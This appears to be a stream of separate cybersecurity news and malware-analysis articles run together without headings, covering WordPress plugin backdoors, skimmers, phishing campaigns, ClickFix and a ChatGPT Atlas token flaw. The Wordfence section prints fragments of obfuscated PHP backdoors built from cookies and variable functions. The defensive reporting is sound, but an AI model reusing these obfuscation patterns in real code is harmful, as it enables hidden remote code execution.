The following message appears in the WP-admin of affected sites:
Important Notice from the WordPress.org Plugins Team.
We would like to inform you that several plugins from the author “essentialplugin” have been reported by the community as not compliant with the guidelines. After an investigation, we can confirm that the plugin contained code that could allow unauthorized third-party access to websites using it.
In response, we have taken immediate steps to close the plugin in the WordPress.org Plugins directory and release an update that already tried to remove affected code from your website. Although it is possible that not everything has been able to be automatically removed.
Specifically, this plugin downloaded code from analytics.essentialplugin[dot]com and installed it in your site, while the specific case can differ, we know that they were installing a backdoor in a file named “wp-comments-posts.php” that looks closely to the core file “wp-comments-post.php”. We know that that backdoor was at least used to inject code in the wp-config.php file to add hidden spam links, create redirects and/or inject pages in websites. Those actions are related to black-hat SEO techniques, often hidden from administrators.
While our update attempted to remove the backdoor automatically, it cannot confirm that it was fully eliminated. It’s possible that the backdoor got installed in files we are not aware of and unauthorized actions may have already been taken on your site. As such, we strongly advise you to thoroughly review your site for any signs of compromise, and take immediate steps to secure it.
Dozens of plug-ins for the widely used open source web blogging software WordPress are now offline after a backdoor was discovered in them, used to push malicious code to any website that relied on the plug-ins. The backdoor was discovered after a new corporate owner bought these plug-ins.
Anchor Hosting founder Austin Ginder sounded the alarm in a blog post last week describing a supply chain attack on a WordPress plug-in maker called Essential Plugin. Ginder said someone last year bought Essential Plugin and the backdoor was soon added to the plug-ins’ source code. The backdoor sat dormant until earlier this month when it activated and began distributing malicious code to any website with the plug-ins installed.
Essential Plugin says on its website that it has over 400,000 plug-in installs and more than 15,000 customers. WordPress’ plug-in install page says the affected plug-ins are in over 20,000 active WordPress installations.
Plug-ins allow owners of WordPress-based websites to extend the site’s functionality, but in doing so grant the plug-ins access to their installations, which can open these websites to malicious extensions and potential compromise. But Ginder warned that WordPress users are not notified of any plug-ins’ change in ownership, exposing users to potential takeover attacks by their new owners.
According to Ginder, this is the second hijack of a WordPress plug-in discovered in as many weeks. Security researchers have long warned of the risks of malicious actors buying software and changing its code in order to compromise a large number of computers around the world.
While the plug-ins have been removed from WordPress’ directory and now list their closure as “permanent,” Ginder warned that WordPress owners should check if they still have one of the malicious plug-ins installed and remove it. Ginder has a list of the affected plug-ins in the blog post.
Representatives for Essential Plugin did not respond to a request for comment.
On October 11th, 2025, Wordfence received a submission for an Account Takeover via Email Log Disclosure vulnerability in Post SMTP, a WordPress plugin with more than 400,000 active installations. This vulnerability makes it possible for an unauthenticated attacker to view email logs, including password reset emails, and change the password of any user, including an administrator, which allows them to take over the account and the website.
Wordfence‘s data indicates that attackers have already started targeting this vulnerability as early as November 1st, 2025, with over 4,500 attacks already blocked.
Props to netranger who discovered and responsibly reported this vulnerability through the Wordfence Bug Bounty Program. This vulnerability was disclosed to our program just one day after it was introduced. This researcher earned a bounty of $7,800.00 for this discovery.
Paid Wordfence users received a firewall rule to protect against any exploits targeting this vulnerability on October 15, 2025. Sites using the free version of Wordfence will receive the same protection 30 days later on November 14, 2025.
Wordfence provided full disclosure details to the WP Experts team instantly through their Wordfence Vulnerability Management Portal on October 15, 2025. The vendor released the patch on October 29, 2025. We would like to commend the WP Experts team for their prompt response and timely patch.
We urge users to update their sites with the latest patched version of Post SMTP, version 3.6.1 at the time of this publication as soon as possible as active exploitation has already started and we expect the campaign to pick up soon.
A significant vulnerability in OpenAI’s newly released ChatGPT Atlas browser reveals that it stores unencrypted OAuth tokens in a SQLite database with overly permissive file settings on macOS, potentially allowing unauthorized access to user accounts.
This flaw, discovered by Pete Johnson just days after the browser’s October 21, 2025, launch, bypasses standard encryption practices used by major browsers like Chrome, leaving sensitive authentication data exposed to any process on the system.
The issue raises concerns about the privacy safeguards in AI-integrated browsing tools, especially as Atlas aims to handle tasks such as research and automation on behalf of users.
The vulnerability came to light when a non-expert user, intrigued by the browser’s data handling after installing ChatGPT Atlas, examined the cache directory at ~/Library/Caches/com.openai.atlas/.
Token Stored With 644 Permissions
Pete Johnson found a SQLite database storing functional OAuth tokens without encryption, protected only by 644 file permissions, which makes the file readable by all users and processes on the Mac.
Unlike established browsers that leverage macOS Keychain for token encryption, Atlas appears to skip this step by default, enabling straightforward extraction and reuse of the tokens via simple scripts.
ChatGPT Atlas Exposes Users’ Details (Source: Pete Johnson)
Pete Johnson demonstrated this by crafting a local script that queried the database, retrieved the unencrypted tokens, and successfully accessed the OpenAI API to fetch the user’s full profile details and conversation history across sessions.
Even attempts to pull account status returned a 405 error rather than a 401 unauthorized response, confirming the tokens’ validity.
To verify the risks, the user consulted the web version of ChatGPT, which itself acknowledged that such unencrypted storage in a hypothetical browser would pose a severe security threat, potentially allowing malware or other apps to hijack sessions without detection.
This oversight persisted despite the installation process not prompting users about Keychain integration, a standard query in secure applications.
The exposure is particularly concerning given Atlas’s design as a Chromium-based AI browser that imports bookmarks, passwords, and history while enabling agentic features for premium users.
Unencrypted tokens could enable attackers to impersonate users, accessing not just ChatGPT conversations but potentially linked services if scopes overlap, echoing past OAuth leakage incidents in AI tools.
While macOS user permissions limit cross-account exploitation, intra-account risks remain high, especially on shared or compromised devices.
Cybersecurity experts have already flagged Atlas for related issues like prompt injection attacks, where malicious web content could manipulate the AI to exfiltrate data, amplifying the token flaw’s dangers.
OpenAI emphasizes privacy controls in Atlas, such as opt-out data training and memory management, but this storage misconfiguration undermines those claims.
The browser’s rapid rollout to Free, Plus, and Pro users worldwide on macOS, with Windows and mobile versions pending, heightens the urgency for patches.
Pete Johnson hesitated to release the extraction script publicly after the launch hype, but shared it privately with contacts for validation.
UK-based researcher Matt Johnson confirmed the issue on his setup, noting it extracts profiles and histories effectively within the same account.
Ken Johnson, CTO of DryRun Security, added that “In corporate environments, I would not allow Comet, Atlas, or any AI-powered browser on company devices at this time. Browser security is already difficult even for the companies that make them, and robust privacy controls require immense care. AI is new to both fronts. Granting these tools unprecedented access to personal and corporate data, combined with the inherent risks of AI systems and existing security concerns, is a time bomb.”
However, no official bug reporting mechanism exists for Atlas yet, leaving users in limbo as of October 22, 2025.
Further inquiries revealed inconsistency: some users report Keychain prompts during setup, resulting in encrypted tokens, while others, like the discoverer, do not, suggesting a rollout bug or A/B testing glitch.
OpenAI has not explicitly commented, though its security team has addressed broader AI browser risks, such as injection attacks, through red-teaming and guardrails.
Experts urge immediate updates, recommending that users monitor permissions, enable 2FA on OpenAI accounts, and avoid sensitive tasks in Atlas until the issue is resolved.
One recurring theme the Wordfence Threat Intelligence as well as the Care and Response teams see in new malware is heavy use of obfuscation. While some malware stands out by making an effort to blend in, obfuscation is generally the go-to way in which attackers attempt to evade detection and hide their scripts.
In this case, we are referring to malware using variable functions and cookies for obfuscation. The particular malware we want to discuss today is not new. It does, however, surface in new variants frequently and warrants a more detailed discussion due to the widespread use of its obfuscation techniques.
Samples related to this malware are all detected by our malware signatures for all Wordfence users, including those running the free version of Wordfence.
What Are Variable Functions?
As specified in the PHP Language Reference documents, PHP allows developers to append parentheses to any PHP variable. This causes PHP to evaluate the variable and to call a function with the same name as whatever the variable evaluates to. While there are completely legitimate use cases for this, malicious actors also use that ability to their advantage. The following example shows a minimal backdoor using variable functions:
The variable $hello evaluates to the string ‘eval’ and $world evaluates to ‘base64_decode’. Appending parentheses to the variable makes PHP execute the functions eval() and base64_decode() with a payload provided via a POST parameter.
This minimal remote code execution script depends on user input. While we technically cannot say with certainty what exactly this script does because of this reliance on user input, it is pretty easy to see that it can be used for malicious purposes. Detecting this behavior is relatively straightforward, but it can get more complicated quickly. And already, the straightforward detection of an eval()followed by a base64_decode() call followed by a payload in a superglobal may fail on a file in which the order of the variable assignments is switched.
What Are Cookies?
Endless popups informing us about cookie choices are pretty common these days. Usually, we are given the choice between mandatory cookies (that ensure the site actually works), and optional cookies. Ultimately, these are small text files that store information about your shopping session or your browsing history (tracking cookies), enhance your user experience or fulfil some other important function (session cookies).
These cookies are sent by the browser to the website you are visiting so that this information can be handed back to the server.
The First Malware Sample Analysis
This malware sample is not one that attempts to blend in and hide itself by looking legitimate. Instead, it attempts to evade detection by combining several techniques in order to fool scanning tools.
When malware attack victims send samples like this one to us via samples@wordfence.com and ask what they do, the answer isn’t always 100% clear at first glance. Let’s take a look at this case.
Malware Breakdown
For this walkthrough we will assume the following cookies:
$_COOKIE[79] = "base64_" $_COOKIE[94] = "decode" $_COOKIE[23] = "Y3JlYXRlX2Z1bmN0aW9u" // base64 for “create_function” $_COOKIE[18] = "ZWNobyAiUHduZWQiOw==" // base64 for echo “Pwned”; $_COOKIE[64] = '$a,$b,$c' // arg list for created function $_COOKIE[1] = "array11" 5 additional cookies to bring the count to 11.
The script begins with the assignment of a value to an $args variable, stores the $_COOKIE array under a new name and determines how many cookies were passed.
What follows is a check that ensures that 11 cookies were passed and that one of them contains the literal string “array11”
if($image_url == 11) { if (in_array(gettype($locale).count($locale),$locale)) {
The statement $locale[79] = $locale[79] . $locale[94]; concatenates two cookie values into one string. This is used to create an actual function name. In our example, the cookie $locale[79] contains the string “base64_” and $locale[94] contains decode , which would be concatenated and stored in $locale[79] as base64_decode.
Our variables and cookies at this point have the following values:
The function $locale[79] is then executed with the argument $locale[23] in the next statement. The result is stored in $locale[23]. Assuming that $locale[23] contains the string “Y3JlYXRlX2Z1bmN0aW9u”, the assignment becomes $locale[23] = base64_decode("Y3JlYXRlX2Z1bmN0aW9u"); which resolves to create_function – another function name.
This is equivalent to create_function('$a,$b,$c', 'echo "Pwned";') – in this simple example the parameters that are passed are not actually used in the function that is created by this call. Instead, the function we create with this code just outputs a string.
Individual cookies are no longer available because $locale was overwritten.
The following statement invokes the callable function created earlier. Three numeric values are passed to it.
$locale($args,$image_url,$type);
It should be noted that this example using create_function() will not work on PHP 8.0 and newer since the function was removed from the language. It was also deprecated in PHP 7.2 but still works – albeit with warnings.
This does not mean the backdoor is unusable in PHP 8, however. It is very much possible for another PHP script to include this one and define functions that would then be executable by this piece of malware.
Similar to the previous sample, we see the assignment of $_COOKIE to another variable. As a quick check to avoid execution by unauthorized actors, this script ensures that several cookies are set and one of them is divisible by 283. These three magic cookies are required.
What follows is string manipulation in order to reconstruct a function name. Specifically, the characters ‘x’, ‘f’, ‘9’ are replaced in the cookie f with the characters ‘e’, ‘d’, and ‘_’, respectively. If the cookie f contained the string basx649fxcofx, the code below would transform that to base64_decode.
The payload is contained in $c['c'], decoded and unserialized using this command.
$d=unserialize($k($c['c']));
As a result, $d now contains an array of function names and function arguments of the attacker’s choosing. This allows for the execution of arbitrary code. Towards the end of the script we see an include statement that includes a local file of the attacker’s choice. Since the code executed through this script is capable of creating files, it is likely that one of them is included in this script. In fact, it is possible that our first malware sample is included.
The $_COOKIE superglobal is saved to a variable just like in the other examples. We again see a cookie count check as well as another check to ensure that a specifically named cookie is sent along with the request. What follows is the repeated use of array lookups and execution of variable functions.
Malware Breakdown
The sample above uses a ternary if-statement to evaluate whether exactly 22 cookies are provided and whether one exists that contains the string “array22”. If that is the case, the script will construct a function name:
We then have several additional assignments with function calls. Just like in the first sample, the script uses a variable function with an argument and stores that in the cookie that previously contained the argument.
($p[34]=$p[40]($p[34]));
A slightly longer expression prepares the function $p() and executes it. If the original cookie check failed, this just simply returns the cookies.
($p=$p[34]($p[37],$p[40]($p[92])))&&$p()):$p;
This sample’s use of a ternary if-statement makes it a little harder to read, but its functionality is similar to the other two scripts.
Malware Detection Strategies
The signatures written to detect the aforementioned samples had over 30,000 detections in the month of September, 2025. The three samples presented in this post are just a few of the many variants we see. They share some common traits that help identify them as malicious and help improve detection.
More specifically, we can identify the following characteristics:
The samples tend to be short, dense, and heavily obfuscated. Normally, code written by humans uses meaningful variable names and indentation. AI, such as Claude and ChatGPT, tend to follow those standards as well.
The code examples make excessive use of array lookups, concatenation, assignments or cookies
Some cookie checks are added in order to prevent others from using this script
Variable function use is present
Given that these samples can execute any function the attacker wants them to, it would be difficult to go far with traditional detection signatures. Instead, we need to target what is unusual about these samples and leverage that for detection.
We have dozens of signatures targeting these and other types of behavior. While our detection capabilities are robust, we are always on the lookout for new malware variants. If you encounter malware on your site that is undetected by Wordfence, please send it to samples@wordfence.com so we can add it to our corpus and write detection signatures for it.
Conclusion
In today’s blog post, we highlighted several samples that make use of variable functions and cookies to execute code remotely. We outlined ways in which these and other shared characteristics can help improve malware detection. While this is not a novel approach to malware obfuscation, it remains relevant as thousands of these files are detected by these malware signatures every month.
An ongoing phishing campaign is targeting LastPass and Bitwarden users with fake emails claiming that the companies were hacked, urging them to download a supposedly more secure desktop version of the password manager.
The messages direct recipients to download a binary that BleepingComputer has discovered installs Syncro, a remote monitoring and management (RMM) tool used by managed service providers (MSP) to streamline IT operations.
The threat actors are using the Syncro MSP program to deploy the ScreenConnect remote support and access software.
‘Vulnerable’ old .EXE installs
In a threat alert this week, LastPass makes it clear that the company did not suffer any cybersecurity incident and that the messages are a social engineering effort by a threat actor.
“To be clear, LastPass has NOT been hacked, and this is an attempt on the part of a malicious actor to draw attention and generate urgency in the mind of the recipient, a common tactic for social engineering and phishing emails,” LastPass says.
According to the company, the campaign started over the weekend, presumably to take advantage of the reduced staffing over the Columbus Day holiday weekend and delay detection.
The phishing emails are well crafted and urge recipients to install a more secure desktop app that LastPass developed as an MSI replacement for the “outdated .exe format” that had weakenesses that allowed access to vault information.
“Attackers exploited weaknesses in older .exe installations, which could, under certain conditions, allow unauthorized access to cached vault data,” reads the fake security alert from the threat actor.
LastPass notes that the fake messages come from ‘hello@lastpasspulse[.]blog’ but BleepingComputer also saw emails delivered from ‘hello@lastpasjournal[.]blog’.
Bitwarden users also targeted
The phishing emails also impersonate Bitwarden and share the same writing style and lure in an attempt to create a sense of urgency and convince recipients to follow the download link to an improved deskop application.
Yesterday, BleepingComputer received a notice from ‘hello@bitwardenbroadcast.blog’ describing a similar security incident that prompted the release of a secure client app that users need to install.
At the time of writing, Cloudflare is blocking access to the landing pages included in the fraudulent emails and is marking them as phishing attempts.
Legitmate tools for remote access
BleepingComputer retrieved the binary samples distributed in the phishing emails targeting LastPass and Bitwarden users and found that they are functionally the same.
The malware installs the Syncro MSP platform agent with parameters that hide its system tray icon in an effort to keep the user unaware of the new tool.
Based on our observations, Syncro’s single purpose appears to be to deploy the ScreenConnect support tool as a “bring-your-own” installer, which gives the threat actor remote access to the endpoint.
The Syncro agent is configured with very few options, suggesting that the threat actor limited to just the functionality they needed.
The configuration files shows that the agent checks in with the server every 90 seconds. It does not have enabled the built-in remote access and doesn’t deploy the remote support utilities Splashtop, which is bundled with the Syncro platform, or TeamViewer, for which an integration exists.
Furthermore, the extracted configuration did not contain policies to deploy security solutions on the compromised endpoint, and disabled the Emsisoft, Webroot, and Bitdefender agents.
Once ScreenConnect is installed on a device, the threat actors can remotely connect to a target’s computer and deploy further malware payloads, steal data, and potentially access the password vaults of users through saved credentials.
Phishing for 1Password accounts
Last week, another campaign targeted 1Password users with emails falsely warning that their accounts had been compromised. The indicators for that activity, from the wording in the message and landing URL, to the sender address (watchtower@eightninety[.]com) were different.
The 1Password-themed phish Source: Malwarebytes
Researchers at cybersecurity company Malwarebytes say that users clicking on an embedded button were taken to a phishing page (onepass-word[.]com) via a Mandrillapp redirection.
The landing page asking for the master password Source: Malwarebytes
Users of password management tools should ignore such alerts and always login to the provider’s official website to check for any security alerts pending review.
Important security incidents like those claimed in the emails are also broadly communicated across the companies’ blogs and via press releases, so double-checking on official channels is always a good practice.
It is also worth remembering that companies won’t ever ask for the master password to your vaults.
Update 10/16 – Syncro sent the below statement to BleepingComputer regarding the phishing campaign:
“We identified the malicious accounts and have shut down the installs to ensure that no further agents can be installed. The Syncro platform itself was not compromised but rather a malicious actor posing as an MSP that created this account and then used it for nefarious purposes.” – A Syncro spokesperson
The Wordfence Threat Intelligence Team recently identified an interesting malware family on May 16, 2025 during a site clean. This malware family shared a codebase but varied in features across different versions, including credit card skimming and WordPress credential theft. Most surprisingly, one variant incorporated a live backend system hosted directly on infected websites for attacker use – a previously unseen method – packaged and disguised as a rogue WordPress plugin.
Further research uncovered evidence of this campaign in the Threat Intelligence platform dating back to September 2023, indicating a prolonged operation targeting multiple entities. Analysis of the malware’s growing codebase of more than 20 samples provided unique insights into the evolution of this framework.
Several malware detection signatures were developed and released after undergoing the Wordfence Q&A process between May 17 and June 15, 2025. All paid Wordfence customers received these signatures immediately, along with paid Wordfence CLI Users. Users of the free versions of Wordfence and Wordfence CLI receive the same signatures after the standard 30-day delay.
As part of their product lineup, Wordfence offers security monitoring and malware removal services. In the event of a security incident, their incident response team will investigate the root cause, find and remove malware from your site, and help with other complications that may arise as a result of an infection. During the cleanup, malware samples are added to their Threat Intelligence database, which contains over 4.4 million unique malicious samples. The Wordfence plugin and Wordfence CLI scanner detect over 99% of these samples and indicators of compromise, when using the premium signature set. Wordfence CLI can scan your site even if WordPress is no longer functional and is an excellent layer of security to implement at the server-level, part of their mission to secure the web by Defense in Depth.
Malware Analysis: Shared Features
All of the malware samples analyzed employ identical obfuscation techniques and often incorporate anti-analysis measures to evade detection. Common anti-analysis features observed include developer tools detection and console rebinding. Other shared features are found in most samples, suggesting an ongoing development effort over the years.
Developer Tools Detection and Analysis Evasion
To evade analysis, malware often employs a technique to detect if a browser’s developer tools (like Firefox Developer Tools or Chrome DevTools) are active: if detected, the malware – when properly implemented – will often alter its behavior to avoid detection in the console.
The code continuously checks the difference between window.outerWidth / outerHeight and window.innerWidth / innerHeight and dispatches a custom devtoolschange event with the details. A significant difference may indicate the developer tools are open. In most samples the data collection and exfiltration logic is designed to check the developer tools status before proceeding.
Further investigation unveiled even more advanced anti-analysis techniques in certain samples, like infinite loops and debugger traps.
The code is designed to effectively block analysis, either by creating and executing a function containing an infinite while(true) loop intended to freeze or crash a browser tab or the developer tools, or programmatically inserting debugger statements that will pause execution if developer tools are open.
Some malware samples also included functionality to prevent the use of typical browser debugging shortcuts. For instance the code deactivates right-click context menus, the F12 key (commonly used to access browser debug tools), Ctrl + Shift + I / J (methods to open developer tools or the browser console), and Ctrl + U (for viewing page source).
Console Rebinding
Later iterations of this malware incorporate a sophisticated mechanism for dynamically rebinding console methods within the browser environment: this advanced anti-analysis technique is specifically designed to obstruct reverse engineering efforts and slow debugging processes.
Targeted Execution
All of the malware variants Wordfence analyzed include checks to limit their activity to specific website areas. For example, they avoid running in the WordPress admin panel to prevent detection, or ensure they operate only on checkout pages. Some variants use cookies to recognize and evade site administrators and users who have already had their information stolen.
Recent variants of this malware also include a list of disallowed email address and domain names which is later checked against billing data, likely to avoid targeting specific accounts, and again in order to evade detection.
Form Manipulation
Most of the malware variants use techniques like form manipulation, injection, overlays, or hijacking to steal payment and billing information. These methods varied based on the website and integrated payment gateways; sometimes multiple approaches are combined. The prevalent technique involved directly intercepting payment and billing data from HTML forms.
Another common implementation consists in a Base64 encoded string containing the HTML code to resemble a fake payment form, which is then appended to the legitimate WooCommerce payment box.
In some cases Wordfence observed a form overlay technique similar to the one found in a sophisticated & stealthy formjacking malware recently analyzed, even though this malware family differs in several ways – most notably a different approach to persistence and resilience – while still repurposing legitimate web technologies for uses that directly undermine security and privacy, albeit in a different way.
For instance the malware makes use of localStorage to store configuration data within a victim’s browser. This technique allows the malware to persist and maintain its presence across browsing sessions, even without directly manipulating cookies.
Other variants opted for a direct manipulation of the generated HTML code, in some cases even adding pseudo-validation in order to provide visual feedback, making the tampered form appear legitimate.
One sample inspected also included a surprisingly complete fake human verification challenge, dynamically injected as a fullscreen and multi-language screen, intended to serve both as a user deception device and as an anti-bot filter.
This includes incredibly advanced features for malware, like text localized in multiple languages, CSS support for RTL languages and dark mode, interactive elements like animations and spinning SVGs, and a definite Cloudflare brand impersonation, revealing a complexity rarely encountered before.
Data Exfiltration
Almost all of the malware variants use the same method to exfiltrate billing and payment data using custom encoding. Once collected, all data is concatenated into a single string then Base64 encoded and further encoded via a custom scheme, alternating a “percent” character.
In most cases the stolen data is encoded and appended as a query parameter to a fake image URL hosted on an attacker controlled server, triggering an HTTP GET request to exfiltrate the data.
Furthermore, the server, path, and query parameters varied across analyzed samples, complicating detection efforts.
In one case Wordfence also found a notable post-skim action. After successful exfiltration, the script hides the injected form and significantly manipulates an error message code to display a fake payment gateway error. This is a highly deceptive social engineering tactic, designed to explain the failed transaction to the end user delaying suspicion about the data theft.
Non-Skimming Variants
Wordfence analysis involved a detailed examination of several malware samples, revealing some diversity in their underlying logic and intended functionality while still retaining most of the shared features. Even though most samples exhibited characteristics consistent with credit card skimming operations, their investigation uncovered three distinct variants.
These variants appear to be specifically engineered for a range of different malicious activities, including manipulation of Google Ads for fraudulent purposes, theft of WordPress login credentials, and distribution of further malware payloads to the end users, effectively denominating this malware family as a framework.
The malware variant specializing in malicious advertising kept most of its original functionalities but replaced the formjacking and data theft components. Instead, it was designed to selectively show ads if a user arrived from a known search engine or social media platform and was on a mobile device.
A different version of the malware targeted WordPress login credentials and other user data. It employed the same data theft and exfiltration techniques seen in previously analyzed samples.
This malware framework was also used to dynamically replace links on infected websites with attacker-controlled ones. This allowed for the further spread of malware by distributing malicious versions of the originally linked content to users.
User Tracking And Profiling
Certain malware samples, primarily designed for malicious advertising, utilized sophisticated tracking and profiling methods. These techniques gathered information about the user’s browser, operating system, and device type, and also categorized them based on traffic sources like search engines, social media, email, mobile apps, and referrals. To increase effectiveness and avoid serving ads to search engine bots a mechanism was implemented to identify and filter out automated tools, allowing for the collection of statistics specifically from genuine users.
Wordfence also observed a refined target reconnaissance routine aimed at targeted payload delivery, an evolution of previously observed similar code. All the information is encoded and appended as parameters to the remote payload URL, allowing attackers to receive detailed contextual information about the target, likely in order to deliver the most appropriate payload via a dynamic script inclusion.
Logging and Telemetry
Some malware samples use a direct Telegram channel for immediate and secret exfiltration of sensitive data from compromised systems in real time. This includes personal information like system and browser details. The malware also monitors and transmits user actions and identifies the compromised website or the site active during the attack, allowing attackers to understand the breach context and refine their targeting.
Malware Evolution: A Rogue WordPress Plugin
The exploration of these sophisticated malware features has been insightful, with most functionality aligning with expectations. However, certain samples displayed unique characteristics, indicating sustained and distinctive development efforts.
The initial sample was bundled with a deceptive fake WordPress plugin. This unconventional tactic of pairing skimming malware with a plugin, contrary to typical attacker strategies aimed at evading detection, immediately drew the Wordfence analyst’s attention.
The plugin presents itself as well structured, following common development best practices such as separated folders for administrative and public facing code. However – unlike a recently analyzed malware masquerading as a legitimate WordPress plugin – a quick inspection would reveal most files to be just empty scaffolding. Clearly the fake plugin was not affiliated in any way with WordPress or WooCommerce, even though it’s a fairly common tactic used by attackers to deceive their victims.
Both the code features and style indeed suggests the plugin template was likely generated by AI (Wordfence were able to track down some code features from publicly available code snippets). However some characteristics would catch the eye, like the misspelling of “WordPress” in the plugin name or the vague plugin description:
The actual credit card skimmer is found in wordpress-core-public.js. It is designed to directly skim data from existing, legitimate form fields on the page and it is highly selective about where and when it executes, targeting only the checkout page and avoiding administrative users as discussed before.
In addition to the credit card skimmer, the plugin contained PHP files that allow it to act as a server-side building block to complement this attack, effectively converting the compromised website into a custom interface available to the attackers.
The code found in the register-messages-posttype.php file creates a “messages” custom post type, which is used as backend infrastructure for collecting and managing the stolen data, and provides a custom link into the “My Account” view for convenience, which would allow users of any level access to the store orders despite the lack of capabilities.
Furthermore, the malicious code found in wordpress-core.php extends the skimming attack to the website backend, in order to ensure that the fraudulent transactions remain undetected and unprocessed as long as possible. This is achieved by leveraging the available hooks woocommerce_thankyou and wp_footer with routines to periodically scan the database for orders in progress and update their status to “wc-completed” in an attempt to evade or at least delay detection.
This rogue WordPress plugin represents a significant escalation for credit card skimmers. While the JavaScript code is responsible for capturing payment data and billing information, the PHP counterparts act as a backend directly on the compromised website.
Indicators of Compromise
The analyzed malware samples employed significant obfuscation, using a widely recognized algorithm, to evade detection; the same obfuscation technique is also frequently used by commercial plugins and themes to protect their intellectual property.
While common, this practice presents a challenge for malware analysts in developing reliable signatures for known threats. This may lead to occasional false positive detections for legitimate premium software, and complicates the listing of indicators of compromise.
In today’s blog post Wordfence highlighted an interesting malware family targeting various systems with diverse capabilities, including stealing credit card information and WordPress credentials. Additionally, Wordfence detailed a novel bundle of credit card skimmers and malicious WordPress plugins which combines malicious actions with features developed for the attacker’s convenience.
Wordfence paid customers received malware signatures to detect these infected plugins between May 17 and June 15, 2025. Wordfence free users and Wordfence CLI free users receive signatures after a 30 day delay.
Threat actors with suspected ties to Russia have been observed taking advantage of a Google account feature called application specific passwords (or app passwords) as part of a novel social engineering tactic designed to gain access to victims’ emails.
Details of the highly targeted campaign were disclosed by Google Threat Intelligence Group (GTIG) and the Citizen Lab, stating the activity seeks to impersonate the U.S. Department of State.
“From at least April through early June 2025, this actor targeted prominent academics and critics of Russia, often using extensive rapport building and tailored lures to convince the target to set up application specific passwords (ASPs), GTIG researchers Gabby Roncone and Wesley Shields said.
“Once the target shares the ASP passcode, the attackers establish persistent access to the victim’s mailbox.”
The activity has been attributed by Google to a threat cluster it tracks as UNC6293, which it says is likely affiliated with the Russian state-sponsored hacking group called APT29 (aka BlueBravo, Cloaked Ursa, CozyLarch, Cozy Bear, ICECAP, Midnight Blizzard, and The Dukes).
The social engineering unfolds over a span of several weeks to establish rapport with targets, rather than induce a sense of pressure or urgency that may have otherwise raised suspicion.
This involves sending benign phishing emails disguised as meeting invitations that include no less than four different fictitious addresses with the “@state.gov” email address in the CC line to lend it a veneer of credibility.
“A target might reason ‘if this isn’t legitimate, surely one of these State Department employees would say something, especially if I reply and keep them on the CC line,'” the Citizen Lab said.
“We believe that the attacker is aware that the State Department’s email server is apparently configured to accept all messages and does not emit a ‘bounce’ response even when the address does not exist.”
This indicates that these attacks are meticulously planned and executed to trick victims into parting with a 16-digit passcode that gives the adversary permission to access their mailbox under the pretext of enabling “secure communications between internal employees and external partners.”
Google describes these app passwords as a way for a less secure app or device the ability to access a user’s Google account that has two-factor authentication (2FA) enabled.
“When you use 2-Step Verification, some less secure apps or devices may be blocked from accessing your Google account,” per the company. “App passwords are a way to let the blocked app or device access your Google account.”
The initial messages are designed to elicit a response from the target to set up a meeting, after which they are sent a PDF document that lists a series of steps to create an app password in order to securely access a fake Department of State cloud environment and share the code with them.
“The attackers then set up a mail client to use the ASP, likely with the end goal of accessing and reading the victim’s email correspondence,” GTIG said. “This method also allows the attackers to have persistent access to accounts.”
Google said it observed a second campaign bearing Ukrainian themes, and that the attackers logged into victim accounts mainly using residential proxies and VPS servers to evade detection. The company said it has since taken steps to secure the accounts compromised by the campaigns.
UNC6293’s ties to APT29 stem from a series of similar social engineering attacks that have leveraged novel techniques like device code phishing and device join phishing to gain unauthorized access to Microsoft 365 accounts since the start of the year.
Device join phishing is particularly noteworthy for the fact that it tricks victims into sending back to the attackers a Microsoft-generated OAuth code to hijack their accounts.
“Since April 2025, Microsoft has observed suspected Russian-linked threat actors using third-party application messages or emails referencing upcoming meeting invitations to deliver a malicious link containing valid authorization code,” Microsoft revealed last month.
“When clicked, the link returns a token for the Device Registration Service, allowing registration of the threat actor’s device to the tenant.”
Researchers identify a previously unknown ClickFix variant exploiting PowerShell and clipboard hijacking to deliver the Lumma infostealer via a compromised travel site.
ClickFix uses social engineering to trick users into loading LOLBINS malware on their own devices, in this case using PowerShell. With evasion built into the ClickFix code and PowerShell execution undertaken in memory, the presence of ClickFix malware is easily missed.
On June 13, 2025, researchers at Todyl, a networking and security platform for MSPs, detected a ClickFix variant that has not previously been seen. It was found on a compromised WordPress travel site being used in a traditional waterholing attack.
Visitors to the site seeking a holiday in the Galapagos would receive a pop-up dialog box purporting to be part of Cloudflare’s CAPTCHA security process. The social engineering process is not new, being similar to that used in the variant discussed by SlashNext in early June.
Both attacks aim to persuade the user that similar additional steps are required to complete Cloudflare’s Turnstile CAPTCHA process. In this new example, a banner at the bottom of the box claims ‘Performance & Security by Cloudflare’.
The visitor is required to press ‘Windows + R’ followed by ‘CTRL + V’ followed by ‘OK’. By this time the compromised website has already loaded the first PowerShell command into the user’s clipboard. The Run dialog box is opened, ClickFix is pasted into it, and the code is executed.
The first command is heavily obfuscated, so even if briefly seen by the visitor, it will probably be unrecognizable. The obfuscated command is seen by a human as:
This command uses PowerShell’s invoke-RestMethod to link to a separate C2 domain (cmbkz8kz1000108k2carjewzf[.]info). The response from the C2 will then be executed by PowerShell’s Invoke-Expression.
Todyl’s researchers found and executed this ClickFix. They discovered that the ultimate malware payload delivered is the Lumma infostealer – but they have many unanswered questions. For example, is the Russia-based source of Lumma (known as ’Shamel’) also the source of this ClickFix; is a separate developer of this ClickFix using Lumma as a service; or are both ends of the equation affiliates of different as- a-service sources? How widespread is this variant? What is the criminal infrastructure?
Todyl will continue to research LightPerlGirl. (The name comes from a surprising copyright notice within the ClickFix code: “(Copyright (c) LightPerlGirl 2025)”.) “We believe it is a brand new and novel campaign,” David Langlands, Todyl’s CSO, told SecurityWeek. His wider research into the extent of LightPerlGirl’s use and the infrastructure it uses will take a while — but since the malware is already in the wild, he decided to publish details of the current code immediately, complete with known IOCs.
Malicious use of PowerShell can be detected by the latest security tools, but ClickFix attempts to avoid them. The wateringhole attack method, which can be supported by malvertising, is not a finely targeted attack. The adversaries have no control over who may visit the site and become infected. However, the use of a compromised travel site would be attractive to individuals sufficiently wealthy to seek an expensive vacation (the Galapagos), and they would likely do so from home on their own PC. Such devices are not often protected by modern EDR – so the ClickFix use of LOLBINS would pass unseen.
The result would be a well-off individual, possibly a company executive, unknowingly infected by an infostealer which could subsequently and potentially learn from the personal computer how to access the employer’s enterprise network. This is the real danger of ClickFix: the compromise of individual employees ultimately leading to the compromise of major employer enterprises.
Todyl only found this new ClickFix variant because one of its corporate customers happened to visit the infected website. An attack that normally avoids exposure to modern detection systems, was discovered almost accidentally.
Hacked credentials could give cybercriminals access to Facebook, Meta and Google accounts among others
Internet users have been told to change their passwords and upgrade their digital security after researchers claimed to have revealed the scale of sensitive information – 16bn login records – potentially available to cybercriminals.
